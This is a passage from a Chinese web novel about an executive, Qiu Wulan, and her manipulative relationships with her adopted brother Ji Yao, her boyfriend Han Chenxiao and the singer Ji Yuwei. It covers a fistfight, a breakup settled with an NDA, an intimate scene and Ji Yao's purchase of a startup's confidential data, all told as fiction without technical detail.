韩尘霄没有反驳——季尧了然,看来他真的是做了什么,让姐姐不悦了。 他想知道,韩尘霄到底做了什么。 季尧托腮,“你是怎么惹姐姐不高兴的?” “没什么,不关你的事。” 他被自己指责时一声不吭,这一回态度倒是冷硬。 韩尘霄确实做了什么让邱芜澜不高兴的事,如果是信息差或理念方面的问题,他大概率会趁此机会向自己这个“表弟”请教,以求了解邱芜澜的喜好; 但他表现出明显抗拒,说明这件事不需要外人插手,他自己就清楚问题所在。 韩尘霄主观意愿上不会违背邱芜澜,这必然是客观上的问题,因短时间内无法改变,他才会这么难受。 他的人际关系很简单,不存在家庭方面的纠缠。这也是邱芜澜选择他的主要原因之一。 季尧冷静地分析着,戏谑打量韩尘霄,进一步套话,“尘霄哥,你该不会是,不行吧。” “什…”韩尘霄一噎,忍无可忍道,“季尧,这是我和你姐姐的事。你要是好奇,就自己去谈个恋爱。” 他的态度变得尖锐,像是被戳中了痛点。 季尧确信,他猜得接近了——原来是韩尘霄身体上的问题。 “尘霄哥,你是在训斥我么。”他讶然咧嘴,露出尖利的犬牙,“以队长的身份?啊,团队解散,你已经不是队长了。” “这不是训斥,是建议。”韩尘霄沉冷地望着面前的少年。 回想这几天的种种,他郑重开口,“季尧,话说到了这里,那我就说得更明白一点。” “你只是芜澜的弟弟,有时候说话做事是不是过了?” 季尧偏头,韩尘霄五指收紧。他偏头的动作,和前天晚上邱芜澜歪头看他时的神情极其相似。 相处的久了,说不清是邱芜澜被季尧影响,还是季尧在模仿邱芜澜的表情。 韩尘霄想起那天飞C国的飞机,飞机起飞时,邱芜澜给季尧打去语音。他们之间的氛围如此亲密,容不下外人插足半缕。 明明他才是她的男朋友、是她同居的伴侣。 “你不小了,早就过了二十岁,也有工作,可以自食其力。”韩尘霄拧眉,“你姐姐应该也不想有个总是插手自己感情生活的弟弟。” 季尧笑了,“韩尘霄,你算什么东西。” 即便是骂人,他笑起来的模样也还是漂亮得晃眼。 韩尘霄扯了扯嘴角,“不装了?芜澜知道你表面一套背地一套么。” 季尧眯眸,定定盯着他。 韩尘霄只觉得他是无话可说,语气愈发冰冷,“连我都知道你粘着芜澜是为了什么,你真觉得靠撒娇卖萌就能骗过她?” “看在过去的情分上,我提醒你一句,芜澜不是任人唯亲的傻瓜,比起死皮赖脸地缠着她,你还不如摆正态度,好好工作。” “好歹也是个男人,扒着姐姐吸血二十年还不够,你都不觉得丢脸么!” 季尧瞳孔微缩。 刺痛穿过大脑。 骤然之间,他的头颅像是被钝锥狠狠凿开。 好痛…… 额角爬过温热的流体,像是血,又像是淌出的脑浆。 视野间物体退变成色块,橙色的水杯、灰色的沙发,以及面前一团灼热的人形黑火。 它朝季尧燃烧扑来,他本能出手反抗驱赶。 嘈杂的呼声钻进季尧耳内,他回头,看见身后出现了愈多的熛火。 身前身后,他被火海包围,皮肤被燎得灼痛。 浓烈的黑烟入侵了口鼻,他捂住喉咙,被熏得流泪咳嗽,一边咳一边费力地呼吸,汲取稀薄的氧气。 “阿尧!季尧!” 倏忽间,一团温凉的气息包裹了他。 他得以呼吸,得以在火烟中看清物体。 透过被烟熏出的泪雾,季尧看见了邱芜澜焦急的面孔。 他被她拉在怀中,几步之外,是被唐知行拉住的韩尘霄。 韩尘霄发型凌乱,脸上有着红印。 他怒视着季尧,季尧一怔,他没有这几分钟的记忆,却从面前这混乱的场景里推测出方才发生了什么。 巨大的恐惧顿时压住了他,重得他大口喘息。 不、不…… 他没有病,他不是装病,他也不能有病! 他猝然转身,埋进邱芜澜颈窝,死死抓住了她的衣袖。 “姐姐……”少年发出喑哑的颤音,“你没有嫌我烦、你不会讨厌我的,对不对?” “什么?”邱芜澜惊诧。 季尧失神喃喃,“我真的…妨碍到你的生活了么?” 邱芜澜搂着滚烫发抖的季尧,顺着他眼角的余光,望向了对面的韩尘霄。 韩尘霄愣怔着,这冰冷的眼神冻得他怒火消弭。 他从未见过邱芜澜这幅神情,已非厌恶所能概括,几乎到了憎恨的地步。 今天早上出门,她还笑着与他拥吻,手机的锁屏也还是他的照片。 他们分明是最亲密的关系,却不过短短几个小时就变了质。 韩尘霄看清了邱芜澜眼中的怒意,她宛如回巢时发现幼崽巢穴被侵袭的母兽,恨不能将入侵者撕咬扯烂,无留半点情分。 “芜澜,我…” “去医务室。”狰狞仅存一瞬,邱芜澜很快恢复平静,她揽着季尧出门,嘱咐跟随而来的简,“做一下这里的保密协议。” 第64章 第六十四章 “邱总, ”简覆在邱芜澜耳畔低语,“韩尘霄过来了,说想和季尧道个歉。” 邱芜澜抽出吸管, 插进果汁,“开个小会议室, 让他等一会儿。” “好。”简轻手轻脚地退出了办公室。 她关门时睨了眼坐在休息间床上的季尧,他全身上下也就膝盖蹭出了块乌青, 那还是他跪在地上打韩尘霄时,自己压出来的。 和他相比,韩尘霄实在委屈。 除了第一拳被季尧打到了脸, 随后的三分钟里, 季尧揪着他看不见的地方揍。 外面看着毫发无损, 但简知道季尧有多狠。 散打、柔术、拳击、剑术、射击、弓箭, 邱芜澜上过的课程, 季尧一门不落地取得了优。 赶到休息室时, 那副场景让简触目惊心。 她早就知道季尧和他那小三妈一样, 是个阴狠的货色,他比他妈更擅长伪装,成日摆出一副天使的面容。 韩尘霄比他高出近半个头, 肩膀也比他宽阔, 可被季尧压在身下, 毫无反抗之力。 季尧出手的时候,那双浅色的瞳孔里没有焦点, 这个小疯子, 像是一边无聊发着呆一边揍人似的——那张混血的精致面颊上毫无表情,空洞机械,看得人不寒而栗。 办公室门合上, 邱芜澜将插好吸管的果汁递到季尧面前。 季尧抬眸,接过之后又耷拉下脑袋,用发旋面对邱芜澜。 “姐姐,对不…”“他欺负你了?” 两人同时开口,季尧一愣,茫然地看向邱芜澜。 邱芜澜覆盖住他贴了医用纱布的膝盖,认真望着他,“韩尘霄,真的说了那些话?” 季尧愈发迷惘。 他握紧手中的杯子,“姐姐,你不怪我么。” 不管韩尘霄说了什么,最终结果都是他在公司打了艺人、闹出了丑闻。 韩尘霄,是受害者。 “我知道你不是冲动鲁莽的性格。”邱芜澜道,“公司、资产,都是为了家族而存在,你当然比一个三线艺人重要。” 季尧收紧五指,视线有些扭曲模糊。 色块和实物相间并存,他听见血液簌簌流过血管的声响,汹涌地冲击着心脉。 这份强烈的情愫让他无所适从。 「头痛、头痛,现在还痛吗!天天装病,烦不烦啊!」 姐姐…… 他想要忍耐、想要克制,却控制不住地投入了邱芜澜怀中。 姐姐、姐姐、姐姐……只有姐姐会这样爱他。 他大口呼吸着她身上的兰草香,像是戒断反应时突然拿到毒的瘾君子,狂喜得骨头痉挛。 邱芜澜抚过他颤抖的身体,“阿尧,不管如何,你都是我最疼爱的弟弟。” 话出口,邱芜澜意识到有些不妥。 她最爱的弟弟该是泽安泽然,怎么能是季尧……可这句子太过顺畅,从她喉中毫无阻碍的滑出。 感受到少年的颤动,她也不忍心收回改口。 “姐姐……”季尧偏头,鼻尖贴着邱芜澜侧颈上的血管滑动,进一步吸食她的气息。 这兴奋到发抖的声线被邱芜澜视作委屈,她收紧了季尧的发根,发丝柔软顺从地陷在她的掌心。 “我知道了。”她抱紧了季尧,瞳色幽冷,“我会去处理。” 泽安泽然已经大了,他们背后有亲人、有朋友、有家族的支持,足够让她放心; 季尧不同,他需要她。 …… “芜澜!” 韩尘霄在会议室等了近一个小时,当邱芜澜出现时,他立即起身。 他想为自己辩解,可在看见邱芜澜冷若冰霜的脸色后,讷讷咽下,变成一句:“季尧还好么……” 邱芜澜在他对面坐下,“你的身体怎么样。” 韩尘霄眼睛一亮,回了两分生机。 “我没事……” “一会儿我安排人带你去医院,做个全面体检,要是达到了评级,我会让人事给你走工伤。” 她分明是在关心他,韩尘霄却莫名觉得有点不对劲。 “不用,我不用去医院。”他说。 “该走的流程还是要走一下,以免日后复发,你我都说不清楚。” 韩尘霄张了张嘴,“什么?” 邱芜澜将一份合约推到他面前,“保密条约,六十万,作为你的补偿金,全部从季尧的分红里扣。” “芜澜,不用这样。”韩尘霄意识到了什么,强撑笑容,“我是你男朋友,季尧是你弟弟,这点事用不着走合同。” “这的确是个棘手的问题。”邱芜澜道,“因为矛盾点不在公事,而在私事,所以我很难让调查组进入调查。抱歉,尘霄,只能是我来了解前因后果了。” 韩尘霄握紧五指,“你想了解什么。” “谁先动的手?” “……他。” “为什么动手?” “可能,我的言辞激烈了一点…”他急而为自己辩解,“但他不是第一次了,芜澜,我才是你的男朋友!” 邱芜澜并不在乎他激动的原因,继续自己的流程:“言辞激烈?你都说了什么?” “我……”韩尘霄别开视线,“我只是希望,他不要太插手我们之间的事。他只是你表弟,不是么?” “所以季尧没有说谎,你的确是那么对他说了。”邱芜澜问。 “我没有那么说!” “那你当时为什么不否认?” 韩尘霄咬牙,邱芜澜从他的沉默里明白了,“你确实是说了类似的话。没有季尧说的那么过分,但大致意思相同——我可以这么理解么。” 韩尘霄无法辩驳。 “基本情况我了解了,”邱芜澜指尖点了点那份条约,“签了吧,对补偿金有异议的话,可以谈。” “另外,公司给你准备了新的单人宿舍。” 韩尘霄蓦地抬头,怔怔地盯着邱芜澜。 邱芜澜直视他,“抱歉尘霄,我说过,我需要一个能帮我打理好家庭的伴侣。季尧是我从小养大的弟弟,我不可能抛弃他。” “芜澜……”韩尘霄愣怔颤声,“你是在和我提分手么?” “我的家庭情况比较复杂,家庭成员中,季尧的脾气还不算坏。综合考虑,我需要一个更具社交能力的人。尘霄,很遗憾,我们不合适。” 她对他说这话时的姿态,和拒绝客户、面试者时一模一样,没有任何区别,仿佛这些天的亲密从未有过。 “我错了芜澜!”韩尘霄霍然起身,抓住她的手腕,凄声哀求,“对不起,我错了,我去给季尧道歉。你原谅我一次好不好?我离开家庭太久,不记得如何跟亲人相处了,但我学东西很快,我可以两天内完成一个舞台,你给我一点时间,我会做好的。” 韩尘霄激动的央求下,邱芜澜无奈而冷漠地拒绝,“可是,季尧不喜欢你。” 韩尘霄微滞。 “我没有把你当做随便玩玩的情人,”邱芜澜沉静地望着他,“尘霄,我是认真想和你在一起的,那就必须考虑双方家人的感受。” 她一点点扯开他的手,“你不用担心在公司受到针对,私事是私事,这点我分得清。今天是季尧错了,我代他向你道歉。正好组合解散,你不必再受另外三个拖累,我十分看好你,你是有潜力达到ASHS的艺人。” 该说的话说完,邱芜澜片刻不停地离开了会议室。 天色擦黑,走廊上的灯暗了。 韩尘霄失魂落魄地坐在原位,对着桌上那份保密合约。 他不明白,到底为何会走到这个局面。 一个组合三年,成员之间有口角再正常不过,这本该是微不足道的小事。 他反复回忆着今天发生的一切。 季尧出手得毫无征兆,哪怕是低智的动物,攻击之前也会有预兆,可他没有,他活像个机器,被韩尘霄不小心触到了开关,便立即启动。 季尧殴打他的表情历历在目,与其说是愤怒,倒更像是膝跳反应一类的本能,连他自己都控制不住。 韩尘霄承认,他说的话确实过分,可真的足以将一名二十岁的成年男性激到那个份上? 仅仅是对表弟表示了自己的不舒服,邱芜澜就要和自己分手? 她不在乎自己有没有在恋爱期间和别的女人3P,却为了这样的事抛弃他。 韩尘霄甚至来不及感受悲伤,他更觉得荒谬。 冥冥之中,似乎有什么不太对劲,可他摸不着边际,在这茫茫迷雾中困苦消亡。 倏忽间,门被推开。 “呀,有人呀。” 如歌如弦般的声音穿过昏暗,滑过韩尘霄耳畔。 他痴怔抬头,对上门口的女人。 走廊上灯光明亮,她牵光而来,发梢都染着光。 “这里没开灯,我还以为空着。”她冲他浅笑,在看清他的脸后,微讶道,“怎么了,小家伙,怎么在哭呢。” 韩尘霄一颤,低头胡乱擦去眼角的湿意。 他仓促起身,对着女人低头,“不好意思季老师,您用吧,我出去。” “没关系。”季语薇移步,在韩尘霄出门前进入了会议室,将门反手关上,示意身后的助理离开。 “我知道你,芜澜的小男朋友。”她向他递出纸巾,莞尔,“是被人欺负了,还是和芜澜吵架了?要不要,和我聊聊。” 韩尘霄扯了扯嘴角,“谢谢您,我没事。” “可你在哭呀。”柔软白皙的手挽着纸巾,触上了他的眼角,浅淡的馨香拥住了他,季语薇身上的香气让他感到了些许熟悉——极像邱芜澜身上的兰草气,又比邱芜澜的要甜蜜馥郁。 韩尘霄不自在地垂眸,却猝不及防撞进女人柔媚多情的水眸里。 “和我说说吧。” 那韵律的嗓音低缓下来后,如泉水潺湲,似天籁,似蛊惑。 “芜澜她,最喜欢听我说话了。” 第65章 第六十五章 《红丝鸳》开机前三个月, 演员们将进组学习;女主角则要提前六个月开始上课。 这一角色对从小就拿了音乐大满贯的季语薇来说同样不简单,剧组请来了两名国家级戏曲、舞蹈老师,对季语薇进行二对一特训。 《红丝鸳》秋叶影视城的试刀之作, 意义非凡。 老师来的头一天,邱芜澜抽出时间请她们和季语薇一起吃了饭, 以表公司对《红丝鸳》的重视和对传统文化的尊重。 八点开始上课,除中午那餐饭外, 季语薇始终待在舞蹈室内。 晚上五点,两名老师先行离开。 这是第一次季语薇待在公司,却没有来找邱芜澜。 邱芜澜处理完手头的工作, 决定走之前和季语薇打声招呼。 季语薇继承了宋折凝在公司的所有资产, 但不包括舞蹈室。 宋折凝不会跳舞, 季语薇便要了一间公共的多人练舞室, 面积比秋叶最大规格的单人练舞室大上近两倍。 她毫无遮拦, 一切用度都要求最好。 邱芜澜乐见其成, 纵容她的奢侈。季语薇的欲望越是高涨, 便愈要拿出匹配这份欲望的能力来。 练舞室的隔音很好,邱芜澜站在门前,几乎没有声响;刷卡进门的刹那, 高亢的戏曲骤然扑面。 她站在门口, 见季语薇背对着她。 女人右手持一把绢布折扇, 闲步顾盼,巧笑揉扇。只是背影, 便充满了少女游园的辉姿。 几步之后, 季语薇托腮整妆,回眸之际,她对上了门口的邱芜澜。 那本就作赏景之态的表情迸发出更进一层的鲜活, 她欣悦地笑着,朝她莲步踏来,于三米之外款款行礼。 邱芜澜抚掌,“丢开那么久了,底子还在。” 季语薇起身,持扇的兰花指一收,将折扇握进掌心。 那妙曼的端庄顷刻被丢开,她从戏里出来,又成了季语薇。 “这话说的,好像我真学过似的。” 邱芜澜回忆道,“你家里不是有少儿组的古典舞奖杯么。” “小学毕业就没再学了。”季语薇关掉音响,“这几年连芭蕾都不怎么跳了,上次参赛还是三年前。现在在外面跳都怕丢人现眼。” “不可惜么。” “我不是超人,没法兼顾那么多,总是要取舍的。”季语薇拎起包,莞尔道,“让我搭个车吧。” “你助理呢?” “到点下班了。” 她挽着邱芜澜的胳膊往外走,“快一个月没见了,去我家喝一杯?” 邱芜澜没有拒绝。 季语薇最早买、也是最常住的别墅在秋叶娱乐附近。 她一早知道了自己的归属,在邱芜澜买公寓的前几个月,就搬进了那套房子里。 这是一套米白色的西洋别墅,比邱芜澜的要多一层、大两三百平。 艺术家比任何人都更需要私人空间,她需要练舞室、练歌房、不同的琴房、录制室以及超越财阀公主们的巨型衣帽间。 季语薇需要的很多,唯独不需要人。 这栋华丽的别墅里空无一人。倒不完全是在模仿邱芜澜,季语薇不喜欢听见别人的脚步、呼吸,她的作息混乱,需要极致的安静才能入睡。唯有当她离开房子时,保洁和园艺们才会上门修整。 她和邱芜澜回来时,保洁已经离开,一切器具纤尘不染,几个卧室全部换上了洗晒过的被套床单。 季语薇脱了鞋,她不再上台跳舞了,私下里也没落下,平时不穿带跟的鞋子,回到铺满地毯的家中,更是连拖鞋都不爱穿。 “来点真家伙么。”她自酒柜里取出一支浅金色的气泡酒,又勾了两支郁金香杯,“你最近看起来,很稳定。” 邱芜澜拒绝:“不了。” “嗯?为什么。”季语薇走向她,提着酒和酒杯的双手绕过邱芜澜,松弛地交缠她的脖颈上,“你已经不会‘出轨’了,不是么。” “刚回来就知道了?” “我不在公司,可我的团队在。”季语薇指尖微晃,倒夹在指间的两支郁金香杯碰撞,叮咚鏦响,“倒霉的小家伙,临门一脚了,招惹上我们可爱的弟弟。” 邱芜澜随口概括:“缘分不够。” “我还是得说一句,”季语薇发笑,“这是不教而诛。” 邱芜澜不以为然,“他和季尧组队三年,中途见过我无数次,不可能不知道我对季尧有多重视。” “他连大学都还没毕业呢。” 邱芜澜凝眸,“你在替他说话?” 季语薇偏首,吻上邱芜澜的眼,“我的芜澜,你不能这样看我。” 樱色的唇瓣贴近,邱芜澜眼睫颤了颤,本能闭合。 “我只是觉得他太倒霉了点。” 季语薇勾唇,回想起昨天见到的韩尘霄,愈发觉得有趣。 会是谁呢——如此了解邱芜澜,精准地诱使韩尘霄往她那片逆鳞上撞去。 是那位惊才艳艳的影帝,还是生来就会演戏的小弟弟。 不管是哪个,都让季语薇感到有趣。 无论他们抢得头破血流,邱芜澜都在她的怀里。 这种占有感让季语薇快乐得头皮发麻,比拥有一屋子宝石还要开心。 她的唇向下游移,细碎地吻着邱芜澜的面颊,最终到了她的唇间。 她伸出舌尖舔舐,吮咬着她的下唇。 “喝点酒吧,”她再次请求,于交缠中呵气,“一点点。” 邱芜澜扶着她的腰,同意了。 两支郁金香杯,季语薇只倒了一杯。 坐在露台的吊篮里,她轻啜一口,揽着邱芜澜的肩膀,将香甜的酒水哺给她。 “嗯……”不知是谁发出舒服的鼻音。 她们相拥而坐,一口一口喝尽了那半杯阳光般的酒液。 “漂亮么——”季语薇搭着邱芜澜的锁骨,美眸微醺,柔情似水,脉脉补充了后半句:“我的数据。” 签约秋叶四个月,季语薇发了新歌、参与了三门综艺、累计签约九千万商单代言,这一个月又全国巡演六个城市,直到昨天下午才返回瑚城。 “漂亮。”邱芜澜抚过她湿润的眼角,“漂亮得挪不开眼睛。” 季语薇牵起她的手,五指插.入指缝,将其按在自己心口,“是我好,还是宋折凝好?” 提起宋折凝,邱芜澜眸色微深。 开庭在即,宋折凝本人却去了国外。 听说她正在拍摄电影,从时间上看,上映的时间会在《红丝鸳》之前。 虽说电影和电视剧没什么可比性,但秋叶新旧两张门面同时撞上,必然会引发热议。 《红丝鸳》的首播收视率会被拿去和宋折凝参演过的电视剧比较;宋折凝的新电影则会被拿去和华君润主演的电影相比较——这两项已然可以预料。 秋叶娱乐蒸蒸日上,邱芜澜不缺钱和技术经验,但现象级的成功可遇不可求,需要一定运气。 即便是宋折凝自己,也没能复刻过她巅峰值的业绩神话。 这场较量存在风险。 “今天也见过两位老师了,”邱芜澜询问,“有把握么。” 季语薇的演技一直不被看好,邱芜澜知道那是她为了摆脱演戏在故意扮丑,但凡看过季语薇的演唱会舞台,都不会认为这个女人不会演戏。 她的临场反应、舞台表现力震撼得无与伦比。 上万人的现场,她在音乐中醉生梦死,勒令所有看见她、听见她的人进入伊甸园,忘记自我,由她掌控情绪。 邱芜澜相信她的演技,可她也确实没有见过季语薇演戏。 她的女一号位并非邱芜澜推荐,那时候宋折凝还没有和她反目,邱芜澜也还没有下定决心将季语薇收回,是季语薇听说了秋叶影视城的试刀作后,自己跑去了剧组试镜。 据导演说,她的表现相当出彩。 《红丝鸳》是一部典型的大女主剧。 女主父亲战败,国破家亡时,年幼的女主在战火中走失,被买入梨园,成为了红极一时的名角。 男二买下了她,作为家妓驱使,后送她入宫献艺,被华君润所饰的国君看中,纳为姬妾。 女主凭借技艺宠冠六宫,她一生尝尽辛酸,最终联合父亲旧部之子——季尧所饰的男三夺取了政权,成为垂帘听政的国太。 常见的剧情,要想脱颖而出,就要在动作台词、服化道和演员演技上下硬功夫。 宠冠六宫的技艺不是空口白话,既然女主披着一眼被国君看中的人设,那演员也要有一眼惊艳观众的实力。 有舞蹈功底的明星不少,可会跳又能唱,还有流量的年轻女星仅季语薇一人而已。 “说实话,确实不容易。”季语薇又倒了一杯,这一次是独饮。 “我是会唱,但戏腔和流行乐、美声不是一个领域;我也会跳,古典芭蕾和古典舞也完全不一样。” 她饮下半杯,提着酒瓶往杯中续,“好在是拍摄,可以不断重来,还能靠镜头和后期遮瑕。” 邱芜澜沉吟,“真要来不及,动作上的困难点你列出来,找替身;唱词上,可以用配音。” “我的声音还算是有辨识度,谁能给我配呢。”她以担忧的口吻讲述着猖狂。 “这是我来到你身边后的第一个大项目,芜澜,我要给你最大的诚意。” “听起来,你很有把握。” “我可没这么说。”季语薇将杯子贴在脸上降温。 她笑望着邱芜澜,在剔透的酒杯和浅金色起泡酒的衬托下,那张脸靡颜腻理,已然有了让一国之君见之倾心的颜色。 “要是我失败了,你还会爱我吗。” “你不会失败。”邱芜澜抚上她另一侧醉红的脸颊,“语薇,你是这个时代少见的艺术品。” 季语薇磨蹭她的掌心,呼吸间都是甜甜的酒气,像是一只撒娇的小狐狸。 “让我和泽安泽然结婚吧,芜澜。”她侧头舔吻她的掌心,爱恋凝望她,“我想生下你的孩子。” 撕开那层柔情蜜意,一双翦水秋瞳里灌满了泥浆般浑浊黏腻的爱欲。 邱芜澜没有立刻回答,注视着她的季语薇立刻发现了,邱芜澜脸上闪过一丝动摇。 她最终还是拒绝:“泽安是个老实的孩子;泽然已经有女朋友了。” “是么,真遗憾。” 季语薇嘴上说着,心里也确实遗憾,尽管如此,她从未勾搭邱芜澜的两个弟弟,更没有提及邱承澜。 就如华君润故意撺掇韩尘霄攻击季尧一样;季语薇同样清楚邱芜澜的底线所在。 她很早就进出邱家本家,却始终和邱芜澜季尧以外的邱家人保持距离。 那瓶酒被季语薇喝尽了。 从吊篮上下来时,她踉跄不稳,向前栽去。 邱芜澜扶住了她,她栽进了邱芜澜怀里,手里最后一杯起泡酒洒湿了邱芜澜的胸襟。 对着那块水印,她懵憕地发了会儿呆,旋即吃吃地笑了起来。 笑声如丝勾魄,渐渐转至清亮,她笑得停不下来,好一会儿才用指尖触上了那块湿布。 “我知道很多总裁都会被女人的酒杯撞上,可是芜澜,你不应该呀。” 她仰起头,露出桃花般的醉颜,“为什么不躲呢。” “你和那些女人不一样。”那双潋滟的醉眸倒映出邱芜澜理智、淡然的双眼,“你不会把衣服洗干净还给我。” “嗯?嗯……好吧,我会清理的。”季语薇醉得思绪迟缓,全然倚靠着邱芜澜而站。 她低下头,伸出舌尖舔过那片酒渍。 小猫似的几下轻舔后,她用贝齿咬住布料,含进口中吸吮。 邱芜澜一颤,冷白的皮肤漫上热度。 她扣住季语薇的腰和后脑,用了一点力度禁锢。 …… 那件被酒洒了的衣服如邱芜澜所料,不仅没有被洗干净,也没有回到她手里。 “我得走了。”邱芜澜亲吻过季语薇的发梢,最近那里又变成了和她一样的卷度。 季语薇披着那件衣服趴在床上,胸前淡黄色的酒渍晕成大片,除这件衣服外,她不着寸缕。 “童话里的总裁会在□□好后留下家族信物,现实里的总裁也该留下支票。”季语薇笑盈盈地戳她,“你就这么走了?” 邱芜澜触上自己的耳垂,接着又抚上脖颈,发现全都空空如也后,拿起了季语薇搁在床头的手机。 她拇指按上去的瞬间,季语薇的手机完成了指纹解锁。 半分钟后,她将手机递给季语薇。 季语薇扫过上面的数额,唇畔的笑意愈深,“你和泽安真是亲姐弟——有时候,一样的呆板无趣。” 她懒懒地支起上身,搂住邱芜澜,不让她走。 “你对男人有那么多小把戏,怎么就不能哄哄我呢。” “我有点担心季尧。”邱芜澜道,“下次吧,下次有拍卖会,我会叫上你。” 季语薇敛眸,片刻后松手。 “好吧。”她说。 邱芜澜离开后,季语薇照旧披着那件衣服在别墅中行走。 这栋别墅有地下两层,最下一层、完全隔绝天光的两百平米只做一个用途—— 潮湿的地下,空气中水含量极高,四壁贴硬质瓷砖,对声波吸收极少。 这是一个巨大的混响室,两百平米分割成多个房间,每一间都储存着大量瓷器。 呛—— 清灵的瓷碎声兀地响起。 半人高的红瓷瓶被推到在地,四分五裂,碎瓷迸溅。 声音被墙壁回弹,饱满清晰,久久不息。 季语薇陶醉地闭眼,哼着舒缓的曲调。 她拿起一支粉彩瓶,指甲轻敲瓶肚,空心的瓷回应出悦耳的振音。 她侧耳倾听,享受够了这份轻振,继而将其高举。 镪—— 高亢的瓷碎声随之响起。 “哈…” 那柔媚的脸上充盈着迷醉,待声音消止,她迫不及待地拿起了第三个、第四个……一如卖火柴的女孩般追寻着幻象,接连不停地划亮火柴。 瓷碎声宛如甜美的鲜血,季语薇汲取了这些华美的声音,似苍老的吸血鬼在摄入鲜血后重返青春。 她在声声碎瓷里容光焕发。 直到一地齑粉碎片,无落脚之处。 层叠的碎瓷如丛生的荆棘包围了季语薇。 尖锐锋利的边缘纵横斜插着,她赤着足,脚背上的青色血管被一片瓷压着。 季语薇仰头,呼吸这这里的空气,将满地瓷碎的残音吸入体内,回味着方才的听觉盛宴。 可她还是有点低落。 芜澜、她的芜澜…… 季语薇抓上胸前那块酒渍。 不知从何时起,那一笔笔转账、那些珠宝美服已无法令她热血澎湃。 跟在邱芜澜身边越久,她对财富名利的阈值越高,从前那些天文数字已触动不了她。 如同那些奖杯奖牌,到手之后只让她腻味,比起奖杯本身,她更期待的是邱芜澜看见她获得成就后的愉悦。 这种感受绝不能对邱芜澜诉说。 季语薇抚上微肿的唇瓣,回忆邱芜澜给她转账时的那一份宠爱。 她喜欢她野心勃勃、欲求不满的样子,喜欢她拿着成绩去找她索要权力和财富。 季语薇原以为这是邱芜澜爱她的表现,是独属于她的爱,可在和韩尘霄聊过之后,季语薇陡然发现: 邱芜澜偏爱的不是她一个人,她爱所有贪财之徒。 “恶魔。”季语薇抚唇轻笑。 简直像是专门引诱恶欲之人的魔鬼,她热衷滋长人们心中深埋的欲望,将他们变成利欲熏心的狂徒。 与此相反,她对轻视名利的人感到棘手。 所以她疏远华君润,对无法疏远的季尧纠结又困扰。 是谁把邱芜澜培养成这幅恶劣的模样的? 一地瓷片残骸中,季语薇抱着衣服如梦似幻地微笑。 她的芜澜,坏透了。 第66章 第六十六章 “韩尘霄请了长假。” 简告诉邱芜澜这件事的时候, 季尧也在办公室。 “唐知行决定就行。”邱芜澜对艺人请假这点小事并不在意。 简目露不忍,“小姐,要不要再见他一面呢。” 由助理的身份说这话是僭越了, 她便以小姐开头,“他基本已经能够投入使用了啊。” 邱芜澜同样感到可惜, 眼见要成熟的果子,就这样烂了, 浪费她半年精力。 “最近没怎么发作,暂时用不着人。”她对简道,“之后再说吧。” 情感上的买卖果然昂贵, 她实在是懒得再找人试错了。 简无可奈何, 走之前厌恶地剜了眼沙发上的季尧。 他的小三妈插足了先生的感情, 他又来阻挠小姐的感情。 真是一样的下作。 “姐姐, ”季尧当然看见了那抹眼神, 他趴在邱芜澜桌前, “你真的要和尘霄哥分手么。” 邱芜澜对比着两家公司的数据, 随口“嗯”了声。 “其实他说得没错,”季尧将下半张脸埋进臂弯,“有时候我也觉得, 自己是不是给姐姐惹了太多麻烦。” 邱芜澜皱眉, 这种低级的“茶言茶语”不像是季尧会说的话。 她疑惑地看向季尧, 触及少年落寞的表情后,后知后觉意识到——再怎么有心机, 也不过是个少年而已。 被她雪藏许久、被所有人轻视, 出现消极的想法再正常不过。 他太聪明懂事了,从没有和她抱怨过,以至于让她忘记了人之常情。 韩尘霄当面撕开了他的伤疤, 季尧自然会担忧难过。 如此想来,这是他第一次向自己索取肯定。 “《商路》的公司是前年才成立的游戏公司。”她将一份文件递给季尧,“集团正在对他们进行评估,是投资、收购还是打压。你要是有空,帮我找下他们的BSC。” 那双浅色的眸子先是茫然,随后是惊喜。 “好的姐姐。”他脸上再无阴郁,六月盛夏般灿烂欢欣。 邱芜澜避开了这炽亮的表情。 她感到了对家族的背叛。 这不是工作,她想,工作是能换取报酬的,季尧做的事得不到任何好处,连署名的权利都无。 和上次的翻译一样,这充其量只是个学生作业而已。 姑且一次。 他被她的前任羞辱,她补偿了韩尘霄,又怎能不补偿他。 这是作业,是礼物。 她分得清主次,不会让季尧插手家业。 季尧弯眸,眸中的喜悦如盈满的水汩汩渗出。 勒在他脖子上的禁锢,越来越松。 …… 韩尘霄请假后的第二天,邱芜澜检查了自己的手机。 和恋人网聊时,她向来寡言少语,语气冷淡、透着微妙的厌烦。 如此一来,即便合作破裂,他们将记录发到网上,也会让人觉得是他们在单方面纠缠。 她对韩尘霄倾注了不一般的期待,邱芜澜需要重新审查一遍他们之间的记录。 庆幸的是,华君润早早就对韩尘霄下手,等待体检就花费了不少时间,确认了韩尘霄没病后,她也没来得及给他多少甜头,始终在打压、磨灭他的自我意识。 回看他们之间这半年,她比她想象得还要残忍冷酷。 为弥补韩尘霄,邱芜澜将给他的赔偿金提高了两倍。 短短半年,他在她这里得到了数百万的礼物,邱芜澜自认为对得起他了。 “姐姐。”明朗的少年音自楼上传来,邱芜澜手机顶端弹出文件,她点开一看,愣怔了片刻。 “我做完了。” 四天半,一份完整详细的BSC交到了邱芜澜手中。 财务模块尤其详尽,简直像是对方公司的财务给她做的。 没有人帮助季尧,邱芜澜很清楚,他孤立无援,除了她没有依靠。 “这些数据哪里来的?”她问向坐到自己身边的少年。 “买来的。”季尧笑着,“新成立的小游戏公司,一群‘为爱发电’的年轻人,很容易撬出保密资料。” 邱芜澜想起他拿到“作业”的头两天,兴致冲冲地出门,高兴得像是去约会。 这张天真无邪又足够漂亮的脸蛋很容易让人放下戒备。 他天生擅长这些。 “姐姐,我做得好吗?”他期冀地望着她,和每天趴在沙发上打游戏的眼神截然不同,充满光亮。 邱芜澜还在浏览。 越是往下越是惊人。 一个未曾谋面的新公司,他在五天内就把对方情报挖空,那么秋叶娱乐和秋叶集团呢? 自己这些年对季尧的防备真的有效么? 邱芜澜应该感到后怕,可充斥她身心的只有亢奋。 这是韩尘霄脱光了跪在她脚前都不能有的亢奋。 寻找人脉、会面谈判、买卖交易、整理分析……只是四天半而已,他竟一个人完成了这许多的步骤。 她一手培养出来的孩子如此聪慧,她打压他、封锁他了数年,他却自立成人,没有荒废岁月,比之从前更加优秀。 他是商界的艺术品,完美得惊心动魄。 邱芜澜咬唇,对着这份BSC生出一股冲动—— 或许她应该再向哥哥争取一下。这样完美的季尧,怎能不为家族所用。 “很好。”平静的面色下,邱芜澜能听见自己的心跳。 